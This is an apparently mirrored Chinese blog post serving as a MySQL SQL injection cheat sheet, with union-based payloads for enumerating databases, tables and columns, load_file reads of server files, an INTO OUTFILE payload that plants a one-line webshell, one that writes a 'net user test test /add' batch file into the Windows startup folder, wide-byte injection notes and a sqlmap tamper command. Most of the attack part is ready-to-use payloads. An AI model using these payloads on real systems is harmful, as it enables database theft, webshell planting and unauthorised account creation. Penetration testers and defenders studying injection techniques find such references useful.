zoukankan      html  css  js  c++  java
  • Sql注入之Mysql

    Sql注入之Mysql

    Mysql函数

    • system_user():系统用户名
    • user():用户名
    • current_user:当前用户名
    • session_user():连接数据库的用户名
    • database():数据库名
    • version():数据库版本
    • load_file():读取本地文件函数
    • @@datadir:读取数据库路径
    • @@basedir:mysql安装路径
    • @@version_compile_os:操作系统

    Mysql注入利用

    Mysql数据库从5.0版本之后开始有information_schema数据库

    该数据库存放了Mysql数据库的信息

    联合注入

    使用联合注入查询infromation_schema中信息时,注意使用16进制

    id=1 union select 1,2,3,4
    

    当如上命令运行后,页面没有回显上面的对应数字,可以使用如下命令

    id=1 and 1=2 union select 1,2,3,4
    
    • 查库名
    union select 1,2,3,database()
    
    • 查表名
    union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=库名的16进制
    

    group_concat():可以将所有返回的信息连成字符串并以“,”分开

    • 表下列名
    union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 表名的16进制
    

    表名列名已经知道,就可以直接查询数据了

    Mysql4.0注入

    类似于Access数据库的注入,进行爆破注入。

    读写函数使用

    路径要为绝对路径,要有管理员权限

    绝对路径可以在一些报错种查找,没有明确回显的可以通过抓包看

    union select 1,2,load_file('C:/www/shell.php')
    
    union select 1,2,load_file('C:\www\shell.php')
    
    union select 1,2,load_file(test)	#test代表路径的16进制形式
    

    写入的内容一定要使用双引号来引起来

    写入一句话木马

    union select 1,2,"一句话木马" into outfile 'C:/www/shell.php'
    

    系统命令执行

    union select 1,2,"net user test test /add" into outfile 'C://Documents and Settings/Administrator/ [开始] 菜单/程序/启动/a.bat'
    

    如上将代码写入了开机启动,所起开机时就会创建用户

    宽字节注入

    介绍:

    • 当某字符的大小为一个字节时,称其字符为窄字节.
    • 当某字符的大小为两个字节时,称其字符为宽字节
    • 所有英文默认占一个字节;汉字占两个字节
    • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
    • 后端对窄字节进行过滤,对宽字节不进行过滤(对单引号进行转义使其不起作用,成为内容)
    • 绕过思路为:让转义符号消失;或让其失去作用
    • PHP中magic_quotes_gpc配置造成宽字节注入(PHP自5.3.0起废弃,5.4.0起移除)
    利用

    使用Sqlmap

    sqlmap -u "www.xxx.com/xx.php?id=1" --tamper unmagicquotes.py -v 3
    
  • 相关阅读:
    什么是接口测试?怎样做接口测试?
    python下批量执行多条py文件的方法
    Jmeter运行报错software caused connection abort:recv failed
    性能测试一般容易出现瓶颈点
    性能测试流程规范(较好文档)
    Jmeter代理录制获取登录参数_移动端设置代理
    Http请求与WebSocket请求区别(WebSocket协议简析)
    JSONObject方法提取响应数据中的值
    Jmeter学习资料、控件下载地址大全
    图解IntelliJ IDEA 13版本对Android SQLite数据库的支持
  • 原文地址:https://www.cnblogs.com/Wuser/p/12324828.html
Copyright © 2011-2022 走看看